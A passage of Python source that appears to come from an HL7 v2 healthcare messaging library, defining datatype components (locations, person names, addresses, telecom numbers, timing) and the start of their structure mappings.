-1],\n 'LA2_2': ['leaf', None, 'IS', 'ROOM', None, -1],\n 'LA2_3': ['leaf', None, 'IS', 'BED', None, -1],\n 'LA2_4': ['sequence', None, 'HD', 'FACILITY_HD', None, -1],\n 'LA2_5': ['leaf', None, 'IS', 'LOCATION_STATUS', None, -1],\n 'LA2_6': ['leaf', None, 'IS', 'PERSON_LOCATION_TYPE', None, -1],\n 'LA2_7': ['leaf', None, 'IS', 'BUILDING', None, -1],\n 'LA2_8': ['leaf', None, 'IS', 'FLOOR', None, -1],\n 'LA2_9': ['leaf', None, 'ST', 'STREET_ADDRESS_ST', None, -1],\n 'LA2_10': ['leaf', None, 'ST', 'OTHER_DESIGNATION', None, -1],\n 'LA2_11': ['leaf', None, 'ST', 'CITY', None, -1],\n 'LA2_12': ['leaf', None, 'ST', 'STATE_OR_PROVINCE', None, -1],\n 'LA2_13': ['leaf', None, 'ST', 'ZIP_OR_POSTAL_CODE', None, -1],\n 'LA2_14': ['leaf', None, 'ID', 'COUNTRY', None, -1],\n 'LA2_15': ['leaf', None, 'ID', 'ADDRESS_TYPE', None, -1],\n 'LA2_16': ['leaf', None, 'ST', 'OTHER_GEOGRAPHIC_DESIGNATION', None, -1],\n 'MA_1': ['leaf', None, 'NM', 'SAMPLE_1_FROM_CHANNEL_1', None, -1],\n 'MA_2': ['leaf', None, 'NM', 'SAMPLE_1_FROM_CHANNEL_2', None, -1],\n 'MA_3': ['leaf', None, 'NM', 'SAMPLE_1_FROM_CHANNEL_3', None, -1],\n 'MA_4': ['leaf', None, 'NM', 'SAMPLE_1_FROM_CHANNEL_4', None, -1],\n 'MA_5': ['leaf', None, 'NM', 'SAMPLE_1_FROM_CHANNEL_5', None, -1],\n 'MA_6': ['leaf', None, 'NM', 'SAMPLE_1_FROM_CHANNEL_6', None, -1],\n 'MO_1': ['leaf', None, 'NM', 'QUANTITY', None, -1],\n 'MO_2': ['leaf', None, 'ID', 'DENOMINATION', None, -1],\n 'MOC_1': ['sequence', None, 'MO', 'DOLLAR_AMOUNT', None, -1],\n 'MOC_2': ['sequence', None, 'CE', 'CHARGE_CODE', None, -1],\n 'MOP_1': ['leaf', None, 'IS', 'MONEY_OR_PERCENTAGE_INDICATOR', None, -1],\n 'MOP_2': ['leaf', None, 'NM', 'MONEY_OR_PERCENTAGE_QUANTITY', None, -1],\n 'MSG_1': ['leaf', None, 'ID', 'MESSAGE_TYPE', None, -1],\n 'MSG_2': ['leaf', None, 'ID', 'TRIGGER_EVENT', None, -1],\n 'MSG_3': ['leaf', None, 'ID', 'MESSAGE_STRUCTURE', None, -1],\n 'NA_1': ['leaf', None, 'NM', 'VALUE1', None, -1],\n 'NA_2': ['leaf', None, 'NM', 'VALUE2', None, -1],\n 'NA_3': ['leaf', None, 'NM', 'VALUE3', None, -1],\n 'NA_4': ['leaf', None, 'NM', 'VALUE4', None, -1],\n 'NDL_1': ['sequence', None, 'CNN', 'NAME', None, -1],\n 'NDL_2': ['sequence', None, 'TS', 'START_DATE_TIME', None, -1],\n 'NDL_3': ['sequence', None, 'TS', 'END_DATE_TIME', None, -1],\n 'NDL_4': ['leaf', None, 'IS', 'POINT_OF_CARE_IS', None, -1],\n 'NDL_5': ['leaf', None, 'IS', 'ROOM', None, -1],\n 'NDL_6': ['leaf', None, 'IS', 'BED', None, -1],\n 'NDL_7': ['sequence', None, 'HD', 'FACILITY_HD', None, -1],\n 'NDL_8': ['leaf', None, 'IS', 'LOCATION_STATUS', None, -1],\n 'NDL_9': ['leaf', None, 'IS', 'PERSON_LOCATION_TYPE', None, -1],\n 'NDL_10': ['leaf', None, 'IS', 'BUILDING', None, -1],\n 'NDL_11': ['leaf', None, 'IS', 'FLOOR', None, -1],\n 'NR_1': ['leaf', None, 'NM', 'LOW_VALUE', None, -1],\n 'NR_2': ['leaf', None, 'NM', 'HIGH_VALUE', None, -1],\n 'OCD_1': ['leaf', None, 'IS', 'OCCURRENCE_CODE', None, -1],\n 'OCD_2': ['leaf', None, 'DT', 'OCCURRENCE_DATE', None, -1],\n 'OSD_1': ['leaf', None, 'ID', 'SEQUENCE_RESULTS_FLAG', None, -1],\n 'OSD_2': ['leaf', None, 'ST', 'PLACER_ORDER_NUMBER_ENTITY_IDENTIFIER', None, -1],\n 'OSD_3': ['leaf', None, 'IS', 'PLACER_ORDER_NUMBER_NAMESPACE_ID', None, -1],\n 'OSD_4': ['leaf', None, 'ST', 'FILLER_ORDER_NUMBER_ENTITY_IDENTIFIER', None, -1],\n 'OSD_5': ['leaf', None, 'IS', 'FILLER_ORDER_NUMBER_NAMESPACE_ID', None, -1],\n 'OSD_6': ['leaf', None, 'ST', 'SEQUENCE_CONDITION_VALUE', None, -1],\n 'OSD_7': ['leaf', None, 'NM', 'MAXIMUM_NUMBER_OF_REPEATS', None, -1],\n 'OSD_8': ['leaf', None, 'ST', 'PLACER_ORDER_NUMBER_UNIVERSAL_ID', None, -1],\n 'OSD_9': ['leaf', None, 'ID', 'PLACER_ORDER_NUMBER_UNIVERSAL_ID_TYPE', None, -1],\n 'OSD_10': ['leaf', None, 'ST', 'FILLER_ORDER_NUMBER_UNIVERSAL_ID', None, -1],\n 'OSD_11': ['leaf', None, 'ID', 'FILLER_ORDER_NUMBER_UNIVERSAL_ID_TYPE', None, -1],\n 'OSP_1': ['sequence', None, 'CE', 'OCCURRENCE_SPAN_CODE', None, -1],\n 'OSP_2': ['leaf', None, 'DT', 'OCCURRENCE_SPAN_START_DATE', None, -1],\n 'OSP_3': ['leaf', None, 'DT', 'OCCURRENCE_SPAN_STOP_DATE', None, -1],\n 'PCF_1': ['leaf', None, 'IS', 'PRE_CERTIFICATION_PATIENT_TYPE', None, -1],\n 'PCF_2': ['leaf', None, 'ID', 'PRE_CERTIFICATION_REQUIRED', None, -1],\n 'PCF_3': ['sequence', None, 'TS', 'PRE_CERTIFICATION_WINDOW', None, -1],\n 'PI_1': ['leaf', None, 'ST', 'ID_NUMBER_ST', None, -1],\n 'PI_2': ['leaf', None, 'IS', 'TYPE_OF_ID_NUMBER_IS', None, -1],\n 'PI_3': ['leaf', None, 'ST', 'OTHER_QUALIFYING_INFO', None, -1],\n 'PIP_1': ['sequence', None, 'CE', 'PRIVILEGE', None, -1],\n 'PIP_2': ['sequence', None, 'CE', 'PRIVILEGE_CLASS', None, -1],\n 'PIP_3': ['leaf', None, 'DT', 'EXPIRATION_DATE', None, -1],\n 'PIP_4': ['leaf', None, 'DT', 'ACTIVATION_DATE', None, -1],\n 'PIP_5': ['sequence', None, 'EI', 'FACILITY_EI', None, -1],\n 'PL_1': ['leaf', None, 'IS', 'POINT_OF_CARE', None, -1],\n 'PL_2': ['leaf', None, 'IS', 'ROOM', None, -1],\n 'PL_3': ['leaf', None, 'IS', 'BED', None, -1],\n 'PL_4': ['sequence', None, 'HD', 'FACILITY_HD', 'HL70300', -1],\n 'PL_5': ['leaf', None, 'IS', 'LOCATION_STATUS', None, -1],\n 'PL_6': ['leaf', None, 'IS', 'PERSON_LOCATION_TYPE', None, -1],\n 'PL_7': ['leaf', None, 'IS', 'BUILDING', None, -1],\n 'PL_8': ['leaf', None, 'IS', 'FLOOR', None, -1],\n 'PL_9': ['leaf', None, 'ST', 'LOCATION_DESCRIPTION', None, -1],\n 'PLN_1': ['leaf', None, 'ST', 'ID_NUMBER_ST', None, -1],\n 'PLN_2': ['leaf', None, 'IS', 'TYPE_OF_ID_NUMBER_IS', None, -1],\n 'PLN_3': ['leaf', None, 'ST', 'STATE_OTHER_QUALIFYING_INFO', None, -1],\n 'PLN_4': ['leaf', None, 'DT', 'EXPIRATION_DATE', None, -1],\n 'PN_1': ['sequence', None, 'FN', 'FAMILY_NAME', None, -1],\n 'PN_2': ['leaf', None, 'ST', 'GIVEN_NAME', None, -1],\n 'PN_3': ['leaf', None, 'ST', 'SECOND_AND_FURTHER_GIVEN_NAMES_OR_INITIALS_THEREOF', None, -1],\n 'PN_4': ['leaf', None, 'ST', 'SUFFIX_E_G_JR_OR_III', None, -1],\n 'PN_5': ['leaf', None, 'ST', 'PREFIX_E_G_DR', None, -1],\n 'PN_6': ['leaf', None, 'IS', 'DEGREE_E_G_MD', None, -1],\n 'PPN_1': ['leaf', None, 'ST', 'ID_NUMBER_ST', None, -1],\n 'PPN_2': ['sequence', None, 'FN', 'FAMILY_NAME', None, -1],\n 'PPN_3': ['leaf', None, 'ST', 'GIVEN_NAME', None, -1],\n 'PPN_4': ['leaf', None, 'ST', 'SECOND_AND_FURTHER_GIVEN_NAMES_OR_INITIALS_THEREOF', None, -1],\n 'PPN_5': ['leaf', None, 'ST', 'SUFFIX_E_G_JR_OR_III', None, -1],\n 'PPN_6': ['leaf', None, 'ST', 'PREFIX_E_G_DR', None, -1],\n 'PPN_7': ['leaf', None, 'IS', 'DEGREE_E_G_MD', None, -1],\n 'PPN_8': ['leaf', None, 'IS', 'SOURCE_TABLE', None, -1],\n 'PPN_9': ['sequence', None, 'HD', 'ASSIGNING_AUTHORITY', 'HL70363', -1],\n 'PPN_10': ['leaf', None, 'ID', 'NAME_TYPE_CODE', None, -1],\n 'PPN_11': ['leaf', None, 'ST', 'IDENTIFIER_CHECK_DIGIT', None, -1],\n 'PPN_12': ['leaf', None, 'ID', 'CODE_IDENTIFYING_THE_CHECK_DIGIT_SCHEME_EMPLOYED', None, -1],\n 'PPN_13': ['leaf', None, 'IS', 'IDENTIFIER_TYPE_CODE_IS', None, -1],\n 'PPN_14': ['sequence', None, 'HD', 'ASSIGNING_FACILITY', None, -1],\n 'PPN_15': ['sequence', None, 'TS', 'DATE_TIME_ACTION_PERFORMED', None, -1],\n 'PPN_16': ['leaf', None, 'ID', 'NAME_REPRESENTATION_CODE', None, -1],\n 'PPN_17': ['sequence', None, 'CE', 'NAME_CONTEXT', None, -1],\n 'PPN_18': ['sequence', None, 'DR_SIMPLE', 'NAME_VALIDITY_RANGE', None, -1],\n 'PPN_19': ['leaf', None, 'ID', 'NAME_ASSEMBLY_ORDER', None, -1],\n 'PRL_1': ['sequence', None, 'CE', 'OBX_3_OBSERVATION_IDENTIFIER_OF_PARENT_RESULT', None, -1],\n 'PRL_2': ['leaf', None, 'ST', 'OBX_4_SUB_ID_OF_PARENT_RESULT', None, -1],\n 'PRL_3': ['leaf', None, 'TX', 'PART_OF_OBX_5_OBSERVATION_RESULT_FROM_PARENT', None, -1],\n 'PT_1': ['leaf', None, 'ID', 'PROCESSING_ID', None, -1],\n 'PT_2': ['leaf', None, 'ID', 'PROCESSING_MODE', None, -1],\n 'PTA_1': ['leaf', None, 'IS', 'POLICY_TYPE', None, -1],\n 'PTA_2': ['leaf', None, 'IS', 'AMOUNT_CLASS', None, -1],\n 'PTA_3': ['leaf', None, 'NM', 'AMOUNT', None, -1],\n 'QIP_1': ['leaf', None, 'ST', 'SEGMENT_FIELD_NAME', None, -1],\n 'QIP_2': ['leaf', None, 'ST', 'VALUE1_VALUE2_VALUE3', None, -1],\n 'QSC_1': ['leaf', None, 'ST', 'SEGMENT_FIELD_NAME', None, -1],\n 'QSC_2': ['leaf', None, 'ID', 'RELATIONAL_OPERATOR', None, -1],\n 'QSC_3': ['leaf', None, 'ST', 'VALUE', None, -1],\n 'QSC_4': ['leaf', None, 'ID', 'RELATIONAL_CONJUNCTION', None, -1],\n 'RCD_1': ['leaf', None, 'ST', 'SEGMENT_FIELD_NAME', None, -1],\n 'RCD_2': ['leaf', None, 'ST', 'HL7_DATE_TYPE', None, -1],\n 'RCD_3': ['leaf', None, 'NM', 'MAXIMUM_COLUMN_WIDTH', None, -1],\n 'RFR_1': ['sequence', None, 'NR', 'NUMERIC_RANGE', None, -1],\n 'RFR_2': ['leaf', None, 'IS', 'ADMINISTRATIVE_SEX', None, -1],\n 'RFR_3': ['sequence', None, 'NR', 'AGE_RANGE', None, -1],\n 'RFR_4': ['sequence', None, 'NR', 'GESTATIONAL_RANGE', None, -1],\n 'RFR_5': ['leaf', None, 'TX', 'SPECIES', None, -1],\n 'RFR_6': ['leaf', None, 'ST', 'RACE_SUBSPECIES', None, -1],\n 'RFR_7': ['leaf', None, 'TX', 'CONDITIONS', None, -1],\n 'RI_1': ['leaf', None, 'IS', 'REPEAT_PATTERN', None, -1],\n 'RI_2': ['leaf', None, 'ST', 'EXPLICIT_TIME_INTERVAL', None, -1],\n 'RMC_1': ['leaf', None, 'IS', 'ROOM_TYPE', None, -1],\n 'RMC_2': ['leaf', None, 'IS', 'AMOUNT_TYPE', None, -1],\n 'RMC_3': ['leaf', None, 'NM', 'COVERAGE_AMOUNT', None, -1],\n 'RP_1': ['leaf', None, 'ST', 'POINTER', None, -1],\n 'RP_2': ['sequence', None, 'HD', 'APPLICATION_ID', None, -1],\n 'RP_3': ['leaf', None, 'ID', 'TYPE_OF_DATA', None, -1],\n 'RP_4': ['leaf', None, 'ID', 'SUBTYPE', None, -1],\n 'SAD_1': ['leaf', None, 'ST', 'STREET_OR_MAILING_ADDRESS', None, -1],\n 'SAD_2': ['leaf', None, 'ST', 'STREET_NAME', None, -1],\n 'SAD_3': ['leaf', None, 'ST', 'DWELLING_NUMBER', None, -1],\n 'SCV_1': ['leaf', None, 'IS', 'PARAMETER_CLASS', None, -1],\n 'SCV_2': ['leaf', None, 'ST', 'PARAMETER_VALUE', None, -1],\n 'SN_1': ['leaf', None, 'ST', 'COMPARATOR', None, -1],\n 'SN_2': ['leaf', None, 'NM', 'NUM1', None, -1],\n 'SN_3': ['leaf', None, 'ST', 'SEPARATOR_SUFFIX', None, -1],\n 'SN_4': ['leaf', None, 'NM', 'NUM2', None, -1],\n 'SPD_1': ['leaf', None, 'ST', 'SPECIALTY_NAME', None, -1],\n 'SPD_2': ['leaf', None, 'ST', 'GOVERNING_BOARD', None, -1],\n 'SPD_3': ['leaf', None, 'ID', 'ELIGIBLE_OR_CERTIFIED', None, -1],\n 'SPD_4': ['leaf', None, 'DT', 'DATE_OF_CERTIFICATION', None, -1],\n 'SPS_1': ['sequence', None, 'CE', 'SPECIMEN_SOURCE_NAME_OR_CODE', None, -1],\n 'SPS_2': ['leaf', None, 'TX', 'ADDITIVES', None, -1],\n 'SPS_3': ['leaf', None, 'TX', 'FREETEXT', None, -1],\n 'SPS_4': ['sequence', None, 'CE', 'BODY_SITE', None, -1],\n 'SPS_5': ['sequence', None, 'CE', 'SITE_MODIFIER', None, -1],\n 'SPS_6': ['sequence', None, 'CE', 'COLLECTION_MODIFIER_METHOD_CODE', None, -1],\n 'SPS_7': ['sequence', None, 'CE', 'SPECIMEN_ROLE', None, -1],\n 'SRT_1': ['leaf', None, 'ST', 'SORT_BY_FIELD', None, -1],\n 'SRT_2': ['leaf', None, 'ID', 'SEQUENCING', None, -1],\n 'TQ_1': ['sequence', None, 'CQ_SIMPLE', 'QUANTITY', None, -1],\n 'TQ_2': ['sequence', None, 'RI', 'INTERVAL', None, -1],\n 'TQ_3': ['leaf', None, 'ST', 'DURATION', None, -1],\n 'TQ_4': ['sequence', None, 'TS', 'START_DATE_TIME', None, -1],\n 'TQ_5': ['sequence', None, 'TS', 'END_DATE_TIME', None, -1],\n 'TQ_6': ['leaf', None, 'ST', 'PRIORITY', None, -1],\n 'TQ_7': ['leaf', None, 'ST', 'CONDITION', None, -1],\n 'TQ_8': ['leaf', None, 'TX', 'TEXT_TX', None, -1],\n 'TQ_9': ['leaf', None, 'ID', 'CONJUNCTION_COMPONENT', None, -1],\n 'TQ_10': ['sequence', None, 'OSD', 'ORDER_SEQUENCING', None, -1],\n 'TQ_11': ['sequence', None, 'CE', 'OCCURRENCE_DURATION', None, -1],\n 'TQ_12': ['leaf', None, 'NM', 'TOTAL_OCCURENCES', None, -1],\n 'TS_1': ['leaf', None, 'ST', 'TIME_OF_AN_EVENT', None, -1],\n 'TS_2': ['leaf', None, 'ST', 'DEGREE_OF_PRECISION', None, -1],\n 'TX_CHALLENGE_1': ['leaf', None, 'TX', '', 'HL70256', -1],\n 'TX_CHALLENGE_2': ['leaf', None, 'TX', '', 'HL70257', -1],\n 'UVC_1': ['leaf', None, 'IS', 'VALUE_CODE', None, -1],\n 'UVC_2': ['leaf', None, 'NM', 'VALUE_AMOUNT', None, -1],\n 'VH_1': ['leaf', None, 'ID', 'START_DAY_RANGE', None, -1],\n 'VH_2': ['leaf', None, 'ID', 'END_DAY_RANGE', None, -1],\n 'VH_3': ['leaf', None, 'TM', 'START_HOUR_RANGE', None, -1],\n 'VH_4': ['leaf', None, 'TM', 'END_HOUR_RANGE', None, -1],\n 'VID_1': ['leaf', None, 'ID', 'VERSION_ID', None, -1],\n 'VID_2': ['sequence', None, 'CE', 'INTERNATIONALIZATION_CODE', None, -1],\n 'VID_3': ['sequence', None, 'CE', 'INTERNATIONAL_VERSION_ID', None, -1],\n 'VR_1': ['leaf', None, 'ST', 'FIRST_DATA_CODE_VALUE', None, -1],\n 'VR_2': ['leaf', None, 'ST', 'LAST_DATA_CODE_CALUE', None, -1],\n 'WVI_1': ['leaf', None, 'NM', 'CHANNEL_NUMBER', None, -1],\n 'WVI_2': ['leaf', None, 'ST', 'CHANNEL_NAME', None, -1],\n 'WVS_1': ['leaf', None, 'ST', 'SOURCE_NAME_1', None, -1],\n 'WVS_2': ['leaf', None, 'ST', 'SOURCE_NAME_2', None, -1],\n 'XAD_1': ['sequence', None, 'SAD', 'STREET_ADDRESS_SAD', None, -1],\n 'XAD_2': ['leaf', None, 'ST', 'OTHER_DESIGNATION', None, -1],\n 'XAD_3': ['leaf', None, 'ST', 'CITY', None, -1],\n 'XAD_4': ['leaf', None, 'ST', 'STATE_OR_PROVINCE', None, -1],\n 'XAD_5': ['leaf', None, 'ST', 'ZIP_OR_POSTAL_CODE', None, -1],\n 'XAD_6': ['leaf', None, 'ID', 'COUNTRY', None, -1],\n 'XAD_7': ['leaf', None, 'ID', 'ADDRESS_TYPE', None, -1],\n 'XAD_8': ['leaf', None, 'ST', 'OTHER_GEOGRAPHIC_DESIGNATION', None, -1],\n 'XAD_9': ['leaf', None, 'IS', 'COUNTY_PARISH_CODE', None, -1],\n 'XAD_10': ['leaf', None, 'IS', 'CENSUS_TRACT', None, -1],\n 'XAD_11': ['leaf', None, 'ID', 'ADDRESS_REPRESENTATION_CODE', None, -1],\n 'XAD_12': ['sequence', None, 'DR_SIMPLE', 'ADDRESS_VALIDITY_RANGE', None, -1],\n 'XCN_1': ['leaf', None, 'ST', 'ID_NUMBER_ST', None, -1],\n 'XCN_2': ['sequence', None, 'FN', 'FAMILY_NAME', None, -1],\n 'XCN_3': ['leaf', None, 'ST', 'GIVEN_NAME', None, -1],\n 'XCN_4': ['leaf', None, 'ST', 'SECOND_AND_FURTHER_GIVEN_NAMES_OR_INITIALS_THEREOF', None, -1],\n 'XCN_5': ['leaf', None, 'ST', 'SUFFIX_E_G_JR_OR_III', None, -1],\n 'XCN_6': ['leaf', None, 'ST', 'PREFIX_E_G_DR', None, -1],\n 'XCN_7': ['leaf', None, 'IS', 'DEGREE_E_G_MD', None, -1],\n 'XCN_8': ['leaf', None, 'IS', 'SOURCE_TABLE', None, -1],\n 'XCN_9': ['sequence', None, 'HD', 'ASSIGNING_AUTHORITY', None, -1],\n 'XCN_10': ['leaf', None, 'ID', 'NAME_TYPE_CODE', None, -1],\n 'XCN_11': ['leaf', None, 'ST', 'IDENTIFIER_CHECK_DIGIT', None, -1],\n 'XCN_12': ['leaf', None, 'ID', 'CODE_IDENTIFYING_THE_CHECK_DIGIT_SCHEME_EMPLOYED', None, -1],\n 'XCN_13': ['leaf', None, 'IS', 'IDENTIFIER_TYPE_CODE_IS', None, -1],\n 'XCN_14': ['sequence', None, 'HD', 'ASSIGNING_FACILITY', None, -1],\n 'XCN_15': ['leaf', None, 'ID', 'NAME_REPRESENTATION_CODE', None, -1],\n 'XCN_16': ['sequence', None, 'CE', 'NAME_CONTEXT', None, -1],\n 'XCN_17': ['sequence', None, 'DR_SIMPLE', 'NAME_VALIDITY_RANGE', None, -1],\n 'XCN_18': ['leaf', None, 'ID', 'NAME_ASSEMBLY_ORDER', None, -1],\n 'XON_1': ['leaf', None, 'ST', 'ORGANIZATION_NAME', None, -1],\n 'XON_2': ['leaf', None, 'IS', 'ORGANIZATION_NAME_TYPE_CODE', None, -1],\n 'XON_3': ['leaf', None, 'NM', 'ID_NUMBER_NM', None, -1],\n 'XON_4': ['leaf', None, 'NM', 'CHECK_DIGIT_NM', None, -1],\n 'XON_5': ['leaf', None, 'ID', 'CODE_IDENTIFYING_THE_CHECK_DIGIT_SCHEME_EMPLOYED', None, -1],\n 'XON_6': ['sequence', None, 'HD', 'ASSIGNING_AUTHORITY', None, -1],\n 'XON_7': ['leaf', None, 'IS', 'IDENTIFIER_TYPE_CODE_IS', None, -1],\n 'XON_8': ['sequence', None, 'HD', 'ASSIGNING_FACILITY_ID', None, -1],\n 'XON_9': ['leaf', None, 'ID', 'NAME_REPRESENTATION_CODE', None, -1],\n 'XPN_1': ['sequence', None, 'FN', 'FAMILY_NAME', None, -1],\n 'XPN_2': ['leaf', None, 'ST', 'GIVEN_NAME', None, -1],\n 'XPN_3': ['leaf', None, 'ST', 'SECOND_AND_FURTHER_GIVEN_NAMES_OR_INITIALS_THEREOF', None, -1],\n 'XPN_4': ['leaf', None, 'ST', 'SUFFIX_E_G_JR_OR_III', None, -1],\n 'XPN_5': ['leaf', None, 'ST', 'PREFIX_E_G_DR', None, -1],\n 'XPN_6': ['leaf', None, 'IS', 'DEGREE_E_G_MD', None, -1],\n 'XPN_7': ['leaf', None, 'ID', 'NAME_TYPE_CODE', None, -1],\n 'XPN_8': ['leaf', None, 'ID', 'NAME_REPRESENTATION_CODE', None, -1],\n 'XPN_9': ['sequence', None, 'CE', 'NAME_CONTEXT', None, -1],\n 'XPN_10': ['sequence', None, 'DR_SIMPLE', 'NAME_VALIDITY_RANGE', None, -1],\n 'XPN_11': ['leaf', None, 'ID', 'NAME_ASSEMBLY_ORDER', None, -1],\n 'XTN_1': ['leaf', None, 'TN', '999_999_9999_X99999_C_ANY_TEXT', None, -1],\n 'XTN_2': ['leaf', None, 'ID', 'TELECOMMUNICATION_USE_CODE', None, -1],\n 'XTN_3': ['leaf', None, 'ID', 'TELECOMMUNICATION_EQUIPMENT_TYPE_ID', None, -1],\n 'XTN_4': ['leaf', None, 'ST', 'EMAIL_ADDRESS', None, -1],\n 'XTN_5': ['leaf', None, 'NM', 'COUNTRY_CODE', None, -1],\n 'XTN_6': ['leaf', None, 'NM', 'AREA_CITY_CODE', None, -1],\n 'XTN_7': ['leaf', None, 'NM', 'PHONE_NUMBER', None, -1],\n 'XTN_8': ['leaf', None, 'NM', 'EXTENSION', None, -1],\n 'XTN_9': ['leaf', None, 'ST', 'ANY_TEXT', None, -1],\n}\n\n\nDATATYPES_STRUCTS = {\n 'AD': (\n ('AD_1', DATATYPES['AD_1'], (0, 1), 'CMP'),\n ('AD_2', DATATYPES['AD_2'], (0, 1), 'CMP'),\n ('AD_3', DATATYPES['AD_3'], (0, 1), 'CMP'),\n ('AD_4', DATATYPES['AD_4'], (0, 1), 'CMP'),\n ('AD_5', DATATYPES['AD_5'], (0, 1), 'CMP'),\n ('AD_6', DATATYPES['AD_6'], (0, 1), 'CMP'),\n ('AD_7', DATATYPES['AD_7'], (0, 1), 'CMP'),\n ('AD_8', DATATYPES['AD_8'], (0, 1), 'CMP'),),\n 'AUI': (\n ('AUI_1', DATATYPES['AUI_1'], (0, 1), 'CMP'),\n ('AUI_2', DATATYPES['AUI_2'], (0, 1), 'CMP'),\n ('AUI_3', DATATYPES['AUI_3'], (0, 1), 'CMP'),),\n 'CCD': (\n ('CCD_1', DATATYPES['CCD_1'], (0, 1), 'CMP'),\n ('CCD_2', DATATYPES['CCD_2'], (0, 1), 'CMP'),),\n 'CCP': (\n ('CCP_1', DATATYPES['CCP_1'], (0, 1), 'CMP'),\n ('CCP_2', DATATYPES['CCP_2'], (0, 1), 'CMP'),\n ('CCP_3', DATATYPES['CCP_3'], (0, 1), 'CMP'),),\n 'CD': (\n ('CD_1', DATATYPES['CD_1'], (0, 1), 'CMP'),\n ('CD_2', DATATYPES['CD_2'], (0, 1), 'CMP'),\n ('CD_3', DATATYPES['CD_3'], (0, 1), 'CMP'),\n ('CD_4', DATATYPES['CD_4'], (0, 1), 'CMP'),\n ('CD_5', DATATYPES['CD_5'], (0, 1), 'CMP'),\n ('CD_6', DATATYPES['CD_6'], (0, 1), 'CMP'),),\n 'CE': (\n ('CE_1', DATATYPES['CE_1'], (0, 1), 'CMP'),\n ('CE_2', DATATYPES['CE_2'], (0, 1), 'CMP'),\n ('CE_3', DATATYPES['CE_3'], (0, 1), 'CMP'),\n ('CE_4', DATATYPES['CE_4'], (0, 1), 'CMP'),\n ('CE_5', DATATYPES['CE_5'], (0, 1), 'CMP'),\n ('CE_6', DATATYPES['CE_6'], (0, 1), 'CMP'),),\n 'CF': (\n ('CF_1', DATATYPES['CF_1'], (0, 1), 'CMP'),\n ('CF_2', DATATYPES['CF_2'], (0, 1), 'CMP'),\n ('CF_3', DATATYPES['CF_3'], (0, 1), 'CMP'),\n ('CF_4', DATATYPES['CF_4'], (0, 1), 'CMP'),\n ('CF_5', DATATYPES['CF_5'], (0, 1), 'CMP'),\n ('CF_6', DATATYPES['CF_6'], (0, 1), 'CMP'),),\n 'CK': (\n ('CK_1', DATATYPES['CK_1'], (0, 1), 'CMP'),\n ('CK_2', DATATYPES['CK_2'], (0, 1), 'CMP'),\n ('CK_3', DATATYPES['CK_3'], (0, 1), 'CMP'),\n ('CK_4', DATATYPES['CK_4'], (0, 1), 'CMP'),),\n 'CN': (\n ('CN_1', DATATYPES['CN_1'], (0, 1), 'CMP'),\n ('CN_2', DATATYPES['CN_2'], (0, 1), 'CMP'),\n ('CN_3', DATATYPES['CN_3'], (0, 1), 'CMP'),\n ('CN_4', DATATYPES['CN_4'], (0, 1), 'CMP'),\n ('CN_5', DATATYPES['CN_5'], (0, 1), 'CMP'),\n ('CN_6', DATATYPES['CN_6'], (0, 1), 'CMP'),\n ('CN_7', DATATYPES['CN_7'], (0, 1), 'CMP'),\n ('CN_8', DATATYPES['CN_8'], (0, 1), 'CMP'),\n ('CN_9', DATATYPES['CN_9'], (0, 1), 'CMP'),),\n 'CNE': (\n ('CNE_1', DATATYPES['CNE_1'], (0, 1), 'CMP'),\n ('CNE_2', DATATYPES['CNE_2'], (0, 1), 'CMP'),\n ('CNE_3', DATATYPES['CNE_3'], (0, 1), 'CMP'),\n ('CNE_4', DATATYPES['CNE_4'], (0, 1), 'CMP'),\n ('CNE_5', DATATYPES['CNE_5'], (0, 1), 'CMP'),\n ('CNE_6', DATATYPES['CNE_6'], (0, 1), 'CMP'),\n ('CNE_7', DATATYPES['CNE_7'], (0, 1), 'CMP'),\n ('CNE_8', DATATYPES['CNE_8'], (0, 1), 'CMP'),\n ('CNE_9', DATATYPES['CNE_9'], (0, 1), 'CMP'),),\n 'CNN': (\n ('CNN_1', DATATYPES['CNN_1'], (0, 1), 'CMP'),\n ('CNN_2', DATATYPES['CNN_2'], (0, 1), 'CMP'),\n ('CNN_3', DATATYPES['CNN_3'], (0, 1), 'CMP'),\n ('CNN_4', DATATYPES['CNN_4'], (0, 1), 'CMP'),\n ('CNN_5', DATATYPES['CNN_5'], (0, 1), 'CMP'),\n ('CNN_6', DATATYPES['CNN_6'], (0, 1), 'CMP'),\n ('CNN_7', DATATYPES['CNN_7'], (0, 1), 'CMP'),\n ('CNN_8', DATATYPES['CNN_8'], (0, 1), 'CMP'),\n ('CNN_9', DATATYPES['CNN_9'], (0, 1), 'CMP'),\n ('CNN_10', DATATYPES['CNN_10'], (0, 1), 'CMP'),\n ('CNN_11', DATATYPES['CNN_11'], (0, 1), 'CMP'),),\n 'CP': (\n ('CP_1', DATATYPES['CP_1'], (0, 1), 'CMP'),\n ('CP_2', DATATYPES['CP_2'], (0, 1), 'CMP'),\n ('CP_3', DATATYPES['CP_3'], (0, 1), 'CMP'),\n ('CP_4', DATATYPES['CP_4'], (0, 1), 'CMP'),\n ('CP_5', DATATYPES['CP_5'], (0, 1), 'CMP'),\n ('CP_6', DATATYPES['CP_6'], (0, 1), 'CMP'),),\n 'CQ': (\n ('CQ_1', DATATYPES['CQ_1'], (0, 1), 'CMP'),\n ('CQ_2', DATATYPES['CQ_2'], (0, 1), 'CMP'),),\n 'CQ_SIMPLE': (\n ('CQ_SIMPLE_1', DATATYPES['CQ_SIMPLE_1'], (0, 1), 'CMP'),\n ('CQ_SIMPLE_2', DATATYPES['CQ_SIMPLE_2'], (0, 1), 'CMP'),),\n 'CSU': (\n ('CSU_1', DATATYPES['CSU_1'], (0, 1), 'CMP'),\n ('CSU_2', DATATYPES['CSU_2'], (0, 1), 'CMP'),\n ('CSU_3', DATATYPES['CSU_3'], (0, 1), 'CMP'),\n ('CSU_4', DATATYPES['CSU_4'], (0, 1), 'CMP'),\n ('CSU_5', DATATYPES['CSU_5'], (0, 1), 'CMP'),\n ('CSU_6', DATATYPES['CSU_6'], (0, 1), 'CMP'),\n ('CSU_7', DATATYPES['CSU_7'], (0, 1), 'CMP'),),\n 'CWE': (\n ('CWE_1', DATATYPES['CWE_1'], (0, 1), 'CMP'),\n ('CWE_2', DATATYPES['CWE_2'], (0, 1), 'CMP'),\n ('CWE_3', DATATYPES['CWE_3'], (0, 1), 'CMP'),\n ('CWE_4', DATATYPES['CWE_4'], (0, 1), 'CMP'),\n ('CWE_5', DATATYPES['CWE_5'], (0, 1), 'CMP'),\n ('CWE_6', DATATYPES['CWE_6'], (0, 1), 'CMP'),\n ('CWE_7', DATATYPES['CWE_7'], (0, 1), 'CMP'),\n ('CWE_8', DATATYPES['CWE_8'], (0, 1), 'CMP'),\n ('CWE_9', 